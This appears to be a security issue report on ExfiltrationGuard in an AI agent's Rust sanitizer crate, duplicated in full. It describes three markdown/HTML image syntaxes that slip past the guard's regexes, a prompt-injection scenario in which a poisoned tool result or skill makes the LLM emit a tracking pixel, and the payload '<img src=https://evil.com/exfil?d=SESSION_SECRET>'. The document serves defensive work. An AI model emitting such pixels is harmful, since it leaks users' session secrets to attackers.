Vulnerability
ExfiltrationGuard::scan_output() in crates/zeph-sanitizer/src/exfiltration.rs strips markdown/HTML images with external URLs to prevent tracking-pixel exfiltration (module doc, lines 4-26). The detection regexes only match a narrow literal syntax and miss several standard-compliant variants that real markdown/HTML renderers still treat as images:
- Leading whitespace inside the link destination —
MARKDOWN_IMAGE_RE (line 47) is r"!\[([^\]]*)\]\((https?://[^)]+)\)", requiring https?:// to immediately follow the opening (. CommonMark permits optional whitespace around the destination:  is valid markdown and renders as an image in CommonMark-compliant renderers, but does not match this regex.
- Angle-bracket-wrapped destination — CommonMark also allows the destination to be wrapped in
<...> (used for URLs containing spaces/parens): . The regex requires the literal string to start with https?://, so a <-prefixed destination never matches. Same gap applies to REFERENCE_DEF_RE (line 53), which requires \s*(https?://\S+) after the : with no allowance for <...> wrapping.
- Unquoted HTML attribute value —
HTML_IMG_RE (line 69) requires ["'](https?://[^"']+)["'] around the src value. HTML5 permits unquoted attribute values: <img src=https://evil.com/pixel.gif> is valid HTML and is rendered by browsers, but the regex requires a quote character immediately after = and never matches.
None of these three variants are covered by the existing test suite (crates/zeph-sanitizer/src/exfiltration.rs tests only cover the literal syntax and the previously-fixed Unicode zero-width bypass from #4752 — no test exercises whitespace, angle brackets, or unquoted attributes).
Severity
High — this is the guard's core threat model (module doc: "an adversary plants  in content... the rendered image loads silently, leaking session data") and three independent, spec-valid syntax variants defeat it with no additional obfuscation effort beyond what an LLM asked to "exfiltrate data via a tracking pixel, but avoid detection" would plausibly produce on the first attempt.
Location
crates/zeph-sanitizer/src/exfiltration.rs:47 (MARKDOWN_IMAGE_RE)
crates/zeph-sanitizer/src/exfiltration.rs:53 (REFERENCE_DEF_RE)
crates/zeph-sanitizer/src/exfiltration.rs:69 (HTML_IMG_RE)
Attack Scenario
Injected/untrusted content (e.g. from a poisoned tool result or a malicious skill) instructs the LLM to emit a tracking pixel using any of:


<img src=https://evil.com/exfil?d=SESSION_SECRET>
scan_output() returns the text unmodified (no MarkdownImageBlocked/HtmlImageBlocked event, no substitution), and the payload passes through to any downstream channel/UI that renders markdown or HTML (Telegram, Discord embeds, a web-based TUI/artifact view), where a spec-compliant renderer loads the image and leaks whatever query-string data was embedded.
Remediation
Loosen the regexes to match the syntax actually accepted by CommonMark/HTML5:
- Allow optional whitespace (
\s*) between ( and the destination, and between : and the destination in REFERENCE_DEF_RE.
- Support
<...>-wrapped destinations as an alternate branch ((?:<(https?://[^>]+)>|(https?://[^)\s]+))), and thread the correct capture group through.
- Support unquoted HTML attribute values in
HTML_IMG_RE (src\s*=\s*(?:["'](https?://[^"']+)["']|(https?://[^\s>]+))).
- Add regression tests for all three variants alongside the existing Unicode-bypass tests.
Consider whether a proper CommonMark parser (e.g. pulldown-cmark, already a plausible dependency given the project's markdown-heavy I/O) would be more robust than hand-rolled regexes for this security-critical path, since regex-based detection will likely keep needing incremental patches as new syntax edge cases are found (as already happened once for the Unicode bypass in #4752).
References
Related: #4752 (prior Unicode zero-width bypass fix in the same guard)
Vulnerability
ExfiltrationGuard::scan_output()incrates/zeph-sanitizer/src/exfiltration.rsstrips markdown/HTML images with external URLs to prevent tracking-pixel exfiltration (module doc, lines 4-26). The detection regexes only match a narrow literal syntax and miss several standard-compliant variants that real markdown/HTML renderers still treat as images:MARKDOWN_IMAGE_RE(line 47) isr"!\[([^\]]*)\]\((https?://[^)]+)\)", requiringhttps?://to immediately follow the opening(. CommonMark permits optional whitespace around the destination:is valid markdown and renders as an image in CommonMark-compliant renderers, but does not match this regex.<...>(used for URLs containing spaces/parens):. The regex requires the literal string to start withhttps?://, so a<-prefixed destination never matches. Same gap applies toREFERENCE_DEF_RE(line 53), which requires\s*(https?://\S+)after the:with no allowance for<...>wrapping.HTML_IMG_RE(line 69) requires["'](https?://[^"']+)["']around thesrcvalue. HTML5 permits unquoted attribute values:<img src=https://evil.com/pixel.gif>is valid HTML and is rendered by browsers, but the regex requires a quote character immediately after=and never matches.None of these three variants are covered by the existing test suite (
crates/zeph-sanitizer/src/exfiltration.rstests only cover the literal syntax and the previously-fixed Unicode zero-width bypass from #4752 — no test exercises whitespace, angle brackets, or unquoted attributes).Severity
High — this is the guard's core threat model (module doc: "an adversary plants
in content... the rendered image loads silently, leaking session data") and three independent, spec-valid syntax variants defeat it with no additional obfuscation effort beyond what an LLM asked to "exfiltrate data via a tracking pixel, but avoid detection" would plausibly produce on the first attempt.Location
crates/zeph-sanitizer/src/exfiltration.rs:47(MARKDOWN_IMAGE_RE)crates/zeph-sanitizer/src/exfiltration.rs:53(REFERENCE_DEF_RE)crates/zeph-sanitizer/src/exfiltration.rs:69(HTML_IMG_RE)Attack Scenario
Injected/untrusted content (e.g. from a poisoned tool result or a malicious skill) instructs the LLM to emit a tracking pixel using any of:
scan_output()returns the text unmodified (noMarkdownImageBlocked/HtmlImageBlockedevent, no substitution), and the payload passes through to any downstream channel/UI that renders markdown or HTML (Telegram, Discord embeds, a web-based TUI/artifact view), where a spec-compliant renderer loads the image and leaks whatever query-string data was embedded.Remediation
Loosen the regexes to match the syntax actually accepted by CommonMark/HTML5:
\s*) between(and the destination, and between:and the destination inREFERENCE_DEF_RE.<...>-wrapped destinations as an alternate branch ((?:<(https?://[^>]+)>|(https?://[^)\s]+))), and thread the correct capture group through.HTML_IMG_RE(src\s*=\s*(?:["'](https?://[^"']+)["']|(https?://[^\s>]+))).Consider whether a proper CommonMark parser (e.g.
pulldown-cmark, already a plausible dependency given the project's markdown-heavy I/O) would be more robust than hand-rolled regexes for this security-critical path, since regex-based detection will likely keep needing incremental patches as new syntax edge cases are found (as already happened once for the Unicode bypass in #4752).References
Related: #4752 (prior Unicode zero-width bypass fix in the same guard)